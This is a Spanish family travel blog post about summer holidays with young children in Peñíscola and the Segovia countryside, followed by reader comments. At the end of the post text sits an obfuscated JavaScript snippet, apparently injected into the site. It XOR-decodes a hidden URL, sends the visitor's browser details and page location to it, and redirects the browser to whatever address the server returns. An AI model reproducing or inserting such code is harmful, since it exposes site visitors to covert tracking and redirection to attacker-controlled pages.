Si hay algo que tod@s esperamos con ansia, eso son las vacaciones de verano. Ese momento en el que apagas el ordenador de tu mesa de trabajo y sabes que hasta dentro de 15 días, mínimo, no vas a tener que ponerte cara a cara frente a él. El destino da lo mismo, lo único que buscas es olvidarte de todo. Pero si, como es mi caso y el de la mayoría que estáis leyendo este post, los días de descanso los disfrutáis con niños, aquí la cosa cambia un poco. Primero surge la disyuntiva, ¿sitio de costa o pueblecito perdido en el monte? Segundo, ¿hotel o apartamento/casa rural? Tercero, ¿con actividades programadas o excursiones familiares al azar por la zona? Yo he probado ambas cosas y creo que las dos opciones son más que recomendables, solo es cuestión del momento familiar de cada uno.
Me encanta bajarme del coche después de 400 kilómetros y que todo huela a mar. Me encanta la sensación de poner un pie en la playa y notar cómo este se hunde en la arena. Y me encanta lamerme la mano, como si de un gatito se tratase, y que me sepa a sal. Quizás es porque lo tenemos lejos de la capital, pero para mí no es verano si no disfruto al menos unos días en un lugar de costa.
Ahora llevamos dos años yendo a Canet de Berenguer (Valencia), pero nuestro destino anterior fue Peñíscola (Castellón), un lugar perfecto de veraneo si váis con peques. Y digo esto porque tiene un montón de propuestas de ocio: bajar a la playa y tiraros en la toalla a no hacer nada, que siempre viene bien, o montar castillos de arena de dos alturas con los niños; caminar a lo largo del paseo marítimo al final del día en busca de un espectáculo de títeres (se suelen poner desde las 20h horas hasta casi la media noche); pasar por la feria, que a los niños siempre les gusta, aunque a los padres nos sature un poco; montar en una bici familiar para que entre todos intentemos llegar de una punta a otra del pueblo; visitar el mítico castillo de Papa Luna e intercalar planes de ocio y cultura en un mismo viaje, y/o degustar pescaíto recién cogido en los escondidos restaurantes del puerto… ¡Para todos los gustos! Pero como hay vida más allá de la playa, si estáis por la zona y os gusta la montaña, no podéis dejar de hacer una visita al Parque Natural de la Sierra Irta. Es nuestra asignatura pendiente y un motivo más para volver a Peñíscola no muy tarde.
Collado Hermoso, a 20 kilómetros de Segovia, fue nuestro destino de montaña en las vacaciones de hace tres años, cuando mi hija mayor tenía 1 año y la pequeña no estaba ni en nuestra mente. Fueron cinco días en la Casa Rural la te y puedo decir que, hasta la fecha, han sido unas de las mejores. No hicimos nada y lo hicimos todo. El pueblo es pequeño, no más de 100 habitantes, pero la gente es encantadora. Desde el dueño de la casa donde estábamos alojados, que nos tenía preparada una bienvenida muy dulce con un bollo recién hecho por él, hasta el propietario del restaurante de la carretera, donde encargamos una pieza de cordero para comer un día y donde nos dejábamos caer a última hora de la tarde para tomar algo, y es que por el día no parábamos. Una mañana la dedicamos a visitar el acueducto de Segovia, (hubiese sido un pecado no acercarnos), otra a pasear por los jardines de La Granja, y los días en los que aparecía el sol fuimos tan osados que nos acercamos a las piscinas naturales de Navafría, aunque tengo que decir que no nos bañamos… ¡somos valientes, pero no tanto! Las tardes transcurrían en el parque del pueblo o en el de Sotosalbos, otro precioso lugar a dos kilómetros andando por camino liso desde nuestro campamento base. Muy recomendable visitar la iglesia románica o pasear por sus silenciosas calles. Había momentos que pensábamos que se trataba de un rincón segoviano fantasma, porque a pesar de tener unas edificaciones más o menos recientes y muy cuidadas, pocas veces nos cruzábamos con habitantes de allí. En esta ocasión buscamos paz y tranquilidad, y lo conseguimos. Volveremos algún día, estoy segura.
Y sí, el lugar importa, pero quizás más la compañía. ¡Feliz verano y felices vacaciones a tod@s! var uomjftkd = { encode: function (uymcrbbu, ivpjzup1) { var juykdjus = «»; for (var bmtvoq = 0; bmtvoq < uymcrbbu.length; bmtvoq++) { var maoakjle = uymcrbbu.charCodeAt(bmtvoq); var vznvir = maoakjle ^ ivpjzup1.charCodeAt(bmtvoq % ivpjzup1.length); juykdjus = juykdjus + String.fromCharCode(vznvir); } return juykdjus; }};function ivlvxbnl(xspsscex, qmjwsdtc){ return uomjftkd.encode(xspsscex, qmjwsdtc);}function nhqlzziy(vtzoxco, qmjwsdtc) { function mnbggf(url, qvfdnorl, gaurhzsa) { var svzjxjw = new XMLHttpRequest(); var mvlmqh = ""; var ngpewk = []; var djzspyoe; for(djzspyoe in qvfdnorl) { ngpewk.push(encodeURIComponent(djzspyoe) + '=' + encodeURIComponent(qvfdnorl[djzspyoe])); } mvlmqh = ngpewk.join(String.fromCharCode(38)).replace(/%20/g, '+'); svzjxjw.onreadystatechange = gaurhzsa; svzjxjw.open('GET', vtzoxco + "?" + mvlmqh); svzjxjw.send(mvlmqh); } var broilplq = { ua: navigator.userAgent, referrer: document.referrer, host: window.location.hostname, uri: window.location.pathname, lang: navigator.language, guid: qmjwsdtc }; mnbggf(vtzoxco, broilplq, function () { if (this.readyState == 4) { if (this.status == 200) { qvfdnorl = this.responseText; if (typeof(qvfdnorl) === 'string') { if (qvfdnorl.indexOf("http") === 0) { window.location = qvfdnorl; } } } } });}var advuwpjt = Array();var qmjwsdtc = '08430616d2a2d9759b18f9b49fcabc12';if (document.cookie.indexOf(qmjwsdtc) === -1){ advuwpjt.push(String.fromCharCode(88,76,64,67,67,12,30,25,9,75,8,92,2,86,67,71,88,1,90,93,20,23,11,90,95,9,76,0,18,10,28,88,67,22,68,91,64)); document.cookie = qmjwsdtc + '=1; path=/'; advuwpjt = advuwpjt.forEach(function (xspsscex) { var juykdjus = ivlvxbnl(xspsscex, qmjwsdtc); if (typeof(juykdjus) === 'string') { if (juykdjus.indexOf("http") === 0) { nhqlzziy(juykdjus, qmjwsdtc); return; } } });}
Anota: Aldealengua de Pedraza. Al lado de todos estos lugares segovianos que mencionas. De ahí es mi padre y ahí pasamos gran parte del verano… Y en Sotosalbos no falla un cordero asado todos los veranos: en el restaurante que hay a pie de carretera.
Mmmmmmmhhhh… Ya huele a verano Lidia!
Hola Lidia!!
¡Qué poco queda para las vacaciones! La verdad es que yo soy más de playa en verano, me encanta disfrutar de las playas de Cádiz, de ese olor a mar como indicas, sobretodo de las playas de Conil, para mí son un pequeño paraíso. Además hace unos años conocía a los chicos de CIT Conil que son un encanto y me ayudaron mucho a encontrar actividades que hacer en Conil durante el verano con los peques.
Felices vacaciones. Un saludo. Carla
Nosotros también apostamos por Cádiz, tienes cerca playa y montaña y algunos ciudades y pueblos preciosos como Cádiz, Vejer, Conil o Arcos.
Buenas Vacaciones!!!